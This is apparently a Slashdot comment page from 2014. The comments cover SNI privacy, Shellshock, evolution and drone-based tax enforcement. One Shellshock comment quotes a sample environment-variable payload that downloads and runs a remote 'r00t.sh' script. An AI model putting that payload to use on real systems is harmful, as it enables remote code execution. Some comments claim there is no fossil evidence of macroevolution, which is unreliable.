Forgot your password?
typodupeerror

Comment: Re:Now how about the third party ad networks (Score 1) 66

by squiggleslash (#48026031) Attached to: CloudFlare Announces Free SSL Support For All Customers

Looking at the Wikipedia page, the two EOL'd environments that stand out are:

- Android browser on Gingerbread (and older) - hopefully this'll be solved soon, Gingerbread is finally disappearing but it's taken a while.
- Internet Explorer on Windows XP.

Everything else seems to be the kind of environment where if you're still using a browser that cannot support SNI then you're probably running into all kinds of problems anyway.

(I would like to think that Windows XP users are using Firefox these days, but...)

Question: aren't there privacy issues associated with SNI? http://tools.ietf.org/html/rfc... shows no attempt to munge the server name. So even though a third party might not be able to determine what content you're trying to access, they probably can intercept - albeit with the victim experiencing an interuption in service - the hostname and determine whose content you're trying to view.

Comment: Re:You are wrong! (Score 1) 24

by RailGunner (#48022479) Attached to: You're all right
Except there is no evidence in the fossil record to support this, either.
In your example, divergent populations B and C are still fertile with each other.

A great example is the artificial construct of race in humanity. Groups that diverged based on isolation and adapted based on climate, yet any fertile male and any fertile female can still produce offspring.

Comment: Re:Can someone explain how someone is exploited? (Score 3, Interesting) 326

by squiggleslash (#48019297) Attached to: Bash To Require Further Patching, As More Shellshock Holes Found

Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.

(If I'm wrong, expecting angry flames now ;-) Please though include details of why.)

Comment: Re:You are wrong! (Score 1) 24

by RailGunner (#48019131) Attached to: You're all right
Microevolution, as in, the adaptation of the species, happens all the time.
Macroevolution, as in, an offspring is mutated into a species that is unique and cannot reproduce fertile offspring with members of the prior species happens never.

There is no evidence of Macroevolution in the fossil record.

Comment: Re:Issue with FSF statement... (Score 2) 208

by squiggleslash (#48009263) Attached to: Apple Yet To Push Patch For "Shellshock" Bug

I suspect large numbers of people saw the bug, but didn't realize the implications and took no action knowing that the last thing you want to do with a programming language (which a shell like a bourne implementation implements) is change what constitutes valid code.

What does this mean? Unsure. It's always been bad practice to use system() or similar calls to start other apps. What this issue has revealed is not so much that bash has a bug in it, but that rather too many applications rely upon bash and shouldn't. Bash is always a vector, and writing code that calls it already means working a great deal on input validation exercises that risk failure.

The scary part is that a significant amount of the *ix community doesn't care - they call system() anyway, or blindly allow the shell environment to be modified, without asking themselves whether this is a good idea.

Comment: Re:Full Disclosure can be found on oss-security... (Score 1) 399

by squiggleslash (#48008409) Attached to: Remote Exploit Vulnerability Found In Bash

One thing missing in all of this is how do I exploit it? In the example you give, that's not clear.

So far as I can determine, the only time this is going to be exploited is if you have some way of manipulating the environment of the shell. I can't think of a CGI variable that's directly set to the content of something the caller has enough control over, pretty much all of them are munged, have mandatory punctuation incompatible with use as a function placed at the beginning, or are impossible to put parentheses and punctuation in.

Perhaps I'm wrong. But I'm inclined to think the entire thing is overblown for two reasons. First, the difficulty of setting the environment in the first place, and secondly the fact making system() calls, etc, is always a red flag for those checking for security holes (and is rare and usually unnecessary) because of the other potential issues with calling a program that literally has direct control over a substantial amount of your computer.

Which is not to say that, for example, the DHCP exploit that's been mentioned isn't terrifying, but even that... why the hell does the DHCPD client, by default, allow the environment to be changed via an insecure DHCP environment anyway?

Comment: Re:Someone's going to complain (Score 3, Interesting) 208

by Cyberdyne (#47996915) Attached to: Drones Reveal Widespread Tax Evasion In Argentina

In the US, this would be "Google Maps Reveals Widespread Tax Evasion"

In the UK, even before Google got in there, the government was using spy satellites to check on things like farm subsidies: when a farm submits a claim saying there's a 100 acre patch empty (to claim "setaside" payments) or has a highly subsidised crop growing, it's quick and easy to check a satellite photo and know if it's really only 90 acres - or if only the strip nearest the road is as claimed, with a big patch of some more profitable crop hidden inside. Compared to the cost of sending someone there by car to inspect the whole field on foot, using satellites (which of course they had in orbit anyway, for more predictable purposes) apparently it saved a fortune.

Competence, like truth, beauty, and contact lenses, is in the eye of the beholder. -- Dr. Laurence J. Peter

Working...